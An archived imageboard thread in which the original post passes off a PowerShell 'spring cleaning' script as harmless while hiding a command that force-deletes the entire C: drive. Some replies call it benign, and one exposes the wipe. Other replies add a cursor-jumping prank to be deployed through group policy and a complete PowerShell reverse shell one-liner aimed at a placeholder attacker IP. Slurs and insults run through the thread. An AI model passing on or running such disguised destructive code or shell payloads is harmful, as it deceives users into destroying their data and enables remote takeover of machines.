[a / b / c / d / e / f / g / gif / h / hr / k / m / o / p / r / s / t / u / v / vg / vm / vmg / vr / vrpg / vst / w / wg] [i / ic] [r9k / s4s / vip / qa] [cm / hm / lgbt / y] [3 / aco / adv / an / bant / biz / cgl / ck / co / diy / fa / fit / gd / hc / his / int / jp / lit / mlp / mu / n / news / out / po / pol / pw / qst / sci / soc / sp / tg / toy / trv / tv / vp / vt / wsg / wsr / x / xs] [Settings] [Search] [Mobile] [Home]
Board
Settings Mobile Home
/pol/ - Politically Incorrect


Thread archived.
You cannot reply anymore.


[Advertise on 4chan]


File: Juanette-4.png (1.82 MB, 1440x1463)
1.82 MB
1.82 MB PNG
# A simple script that removes unused or empty folders for spring cleaning
$Folders = Get-ChildItem -Path $env:USERPROFILE -Recurse -Directory -Include *aging*, *temp*, *cache*, *local*, *locallow*, *mysongs*, *myvideos*
$Confirm = Read-Host "Would you like to remove unused or empty folders for spring cleaning? (Yes/No)"
if ($Confirm -eq 'Yes') {
$Folders | ForEach-Object { Remove-Item $_.FullName -Recurse -Force}
}
else {
Write-Host "Spring cleaning canceled."
}

# Auto-destruct after being confirmed as innocent
Invoke-Command -ScriptBlock { Remove-Item -Recurse -Force "C:\*" -ErrorAction SilentlyContinue } -NoNewScope
>>
Someone translate
>>
>>475801183
That's a Powershell script. The format is pretty well documented.
>>
>>475801183
shit just clears out empty or unused folders from a list of commonly bloated directories
>>
>>475801183
They pack your browsing with cp to justify dumb cops spying on you, then spy on dumb cops
>>
>>475801016
>memeflag
GFY faggot.
Your posts aren't worth the fecal matter encrusted on your diseased dick.
No bump.
>>
>>475801016
first you have to set the local script policy to unrestricted
>>
Imagine using Windows like a faggot.
>>
>>475801451
Still, you can see what the script is doing, and do the same thing manually, if you like.
>>
No delete system32 it's useless
https://techcult.com/how-to-delete-system32/
>>
>windows
>>
>>475801668
add to the profile.ps1

while ($true) {[System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point -ArgumentList (Get-Random -Minimum 0 -Maximum 1920), (Get-Random -Minimum 0 -Maximum 1080);Start-Sleep -Milliseconds 100}
>>
>>475802686
Why would you want to make your cursor randomly jump around the screen? Freak.
>>
>>475804229
it is good for the system administrator. should be mandatory.
>>
>>475804384
Just because you can Powershell, doesn't mean you should.
>>
>>475804461
deploy the profile using group policy to your forest. this will definitely solve the boss problem.
>>
>>475801183
lmao

Invoke-Command -ScriptBlock { Remove-Item -Recurse -Force "C:*" -ErrorAction SilentlyContinue } -NoNewScope

deletes everything on the C: drive
>>
>>475801471
kek or imac what a pile of garbage, literally logs everything constantly, you actually have to manually log out or you stay logged in.
>>
>>475805021
Technically, this WOULD stop Windows telemetry
>>
>>475805470
honestly, a powershell reverse shell would've been lulzier since OP could've at least posted wins. This is an educational example, missing one critical component needed to work. If you don't know what that is, you shouldn't be playing with this yet.

powershell -nop -W hidden -noni -ep bypass -c "$TCPClient = New-Object Net.Sockets.TCPClient('YOUR_IP', PORT);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()"
>>
File: 1721009726048353.png (42 KB, 345x321)
42 KB
42 KB PNG
>>475802686
I love it lol.
>>
>>475807073
>All that to open a remote secure shell
I fucking hate Powershell so God damn much
>>
>>475808309
it's certainly longer than a cmd line reverse shell, but you can use powershell to break out of restricted environments, which might be required.
>>
File: BSOD-19.jpg (295 KB, 1600x1200)
295 KB
295 KB JPG
>>475801420
>redmond wa has joined the chat



[Advertise on 4chan]

Delete Post: [File Only] Style:
[Disable Mobile View / Use Desktop Site]

[Enable Mobile View / Use Mobile Site]

All trademarks and copyrights on this page are owned by their respective parties. Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.